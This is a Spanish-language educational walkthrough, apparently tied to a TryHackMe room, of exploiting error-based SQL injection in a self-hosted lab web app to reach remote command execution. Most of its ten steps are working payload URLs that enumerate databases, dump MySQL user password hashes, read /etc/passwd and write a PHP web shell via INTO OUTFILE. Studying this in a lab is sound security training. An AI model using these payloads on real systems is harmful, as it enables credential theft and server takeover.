SQL Injection to RCE
En el presente artículo estaré mostrando como podemos abusar de una inyección SQL
basada en error para poder enumerar información sensible de las bases de datos con las que cuenta el servicio web y finalmente obtener ejecución remota de comandos (RCE)
en 10 pasos.
¿Por qué sucede?
Una inyección SQL
ocurre cuando la entrada del usuario se ingresa en la cadena de consulta SQL
sin desinfectar o filtrar adecuadamente la entrada.
Laboratorio
Para poder realizar la práctica usted puede dirigirse al siguiente enlace que le reaccionará a la plataforma Tryhackme
donde yo cree una sala la cual abarca todo lo que veremos a continuación, o puede configurar usted mismo su propio laboratorio realizando lo siguiente:
- Crear la carpeta
SQL
en/var/www/html/
. - Asignar permisos de escritura a otros a la carpeta
SQL
(chmod o+w SQL)
- Descargar el proyecto.
- Iniciar el servicio mysql
(sudo service mysql start)
- Iniciar un servicio web
(sudo service apache2 start)
- seguir los pasos que se indican en sistema.sql
- Modificar el fichero conexion.php con los datos del fichero sistema.sql, solo si es necesario.
Una vez realizado todos los pasos nos podremos dirigir a http://localhost/SQL/
y ahí podremos registrar nuevos usuarios.
NOTA: Para realizar este ejercicio nos guiaremos del siguiente cheatsheet.
Explotación
Como había mencionado con anterioridad necesitaremos de 10 pasos para lograr extraer información y obtener RCE.
1. Error de sintaxis
En este paso trataremos de buscar en que punto podemos ocasionar un error de sintaxis con caracteres como: ' ) ; , "
.
http://localhost/SQL/search.php?name_search='
2. Número de columnas
Para este paso una vez que se sabe donde ocurre un error de sintaxis, deberemos enumerar la cantidad de columnas con las que cuenta la base de datos actual, esto lo podremos lograr con la cláusula ORDER BY
y pasándole un número hasta dejar de obtener un error (Unknow column)
.
http://localhost/SQL/search.php?name_search=' ORDER BY 100-- -
http://localhost/SQL/search.php?name_search=' ORDER BY 4-- -
Vemos que al momento de indicarle el número 4
el error deja de presentarse y nos muestra la tabla de usuarios.
3. Versión de la base de datos
Es necesario saber con qué versión de base de datos se está trabajando para poder orientar nuestras consultas SQLi
de mejor manera, incluso ver si la versión es vulnerable a algún exploit público.
Esto lo podremos realizar con la cláusula UNION
e indicándole @@version
tomando en cuenta el número de columnas encontradas con anterioridad, ya que si no
le pasamos el mismo número de columnas en nuestra consulta tendremos un error.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,@@version,NULL-- -
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,@@version,NULL,NULL-- -
4. Extraer todas las bases de datos en el sistema
Ya en este punto podemos listar todas
las bases de datos que contiene el servicio web. Esto lo podemos lograr abusando de la base de datos INFORMATION_SCHEMA
la cual contiene metadatos sobre todas las base de datos y sus tablas presentes en el servidor.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,SCHEMA_NAME,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -
5. Enumerar la base de datos actual
Es importante saber con qué base de datos se está trabajando para poder decidir si vale la pena seguirla enumerando o tal vez saltar a otras.
Para enumerar la base de datos actual usaremos database()
.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,database(),NULL,NULL-- -
6. Enumerar las tablas
Como ya sabemos que base de datos es la actual, ahora podríamos enumerar las tablas con las que esta cuenta, para realizarlo nuevamente nos aprovecharemos de INFORMATION_SCHEMA
.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,table_name,NULL,NULL FROM INFORMATION_SCHEMA.tables WHERE table_schema="sistema"-- -
7. Enumerar las columnas
En este punto ya tenemos el nombre de la base actual (sistema)
, el nombre de la tabla (datos)
, por lo cual lo que sigue es saber con qué columnas cuenta nuestra tabla.
Nuevamente, nos aprovecharemos de INFORMATION_SCHEMA
.
localhost/SQL/search.php?name_search=' UNION SELECT NULL,column_name,NULL,NULL FROM INFORMATION_SCHEMA.columns WHERE table_schema="sistema" AND table_name="datos"-- -
El siguiente paso será obtener los datos, pero si notamos en la imagen las columnas que obtuvimos son las mismas que ya muestran el sitio web, así que no obtendríamos más información de la que estamos viendo en esta base de datos, por lo cual podríamos enumerar una base de datos diferente, para lo cual repetiré el paso 6 y 7 nuevamente con una base de datos distinta.
Si recordamos en el paso 4 aparte de listar la base de datos sistema
, también se nos mostraba otras, para este caso yo enumerare la base de datos mysql
.
-
Enumerar las tablas de la base de datos mysql
Para realizar esta acción repetiremos el paso 6 pero cambiando los datos.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,table_name,NULL,NULL FROM INFORMATION_SCHEMA.tables WHERE table_schema="mysql"-- -
Ya que sabemos las tablas de la base de datos
mysql
, procederé a enumerar una de ellas en este caso la tablauser
. -
Enumerar las columnas de la tabla
user
de la base de datosmysql
Para realizar esta acción repetiremos el paso 7 pero cambiando los datos.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,column_name,NULL,NULL from INFORMATION_SCHEMA.columns WHERE table_schema="mysql" AND table_name="user"-- -
8. Extraer los datos
Ya en este punto nada más nos hace falta extraer los datos, lo cual podemos realizarlo con la siguiente consulta respetando el número de columnas con las que cuenta la tabla de la actual base de datos sistema
.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,concat(User,0x3a,Password),NULL,NULL FROM mysql.user-- -
Podemos notar que obtenemos lo solicitado en nuestra consulta (User,Password)
, con esta información podríamos hacer uso de herramientas como hashid
para saber el tipo de hash
y hashcat
para intentarlo romper.
NOTA: Sabemos de antemano que estos datos pertenecen a los creados a la hora de crear nuestro laboratorio.
NOTA: Recordemos que ahora estamos realizando la consulta bajo la base de datos mysql
.
9. Lectura de archivos
Otra cosa muy importante a probar cuando encontramos una inyección SQL
es probar si somos capaces de leer ficheros alojados en el sistema. Esto podríamos lograrlo con LOAD_FILE()
.
http://localhost/SQL/search.php?name_search=' UNION SELECT NULL,LOAD_FILE("/etc/passwd"),NULL,NULL-- -
10. Escritura de archivos
Finalmente probaremos si tenemos permisos de escritura sobre el sistema. Lo podríamos hacer con INTO OUTFILE()
.
Con la siguiente línea estamos escribiendo una sentencia php
que nos permita ejecutar cualquier comando sobre el sistema por medio del parámetro cmd
.
http://localhost/SQL/search.php?name_search=' union select "NULL",("<?php system($_GET['cmd']) ?>"),"NULL","NULL" INTO OUTFILE "/var/www/html/SQL/shell.php"-- -
Si no tenemos ningún error y sobre todo si contamos con permisos de escritura sobre la ruta en la cual estamos depositando nuestro fichero el sitio web no debería mostrar nada como podemos observar a continuación.
Una vez ejecutado lo anterior nos podremos dirigir a la ruta donde alojamos nuestro fichero para poder ejecutar comandos.
view-source:http://localhost/SQL/shell.php?cmd=ls -la
NOTA: Ahora que ya somos capaces de ejecutar cualquier comando sobre el sistema recuerden que se podría obtener una conexión inversa.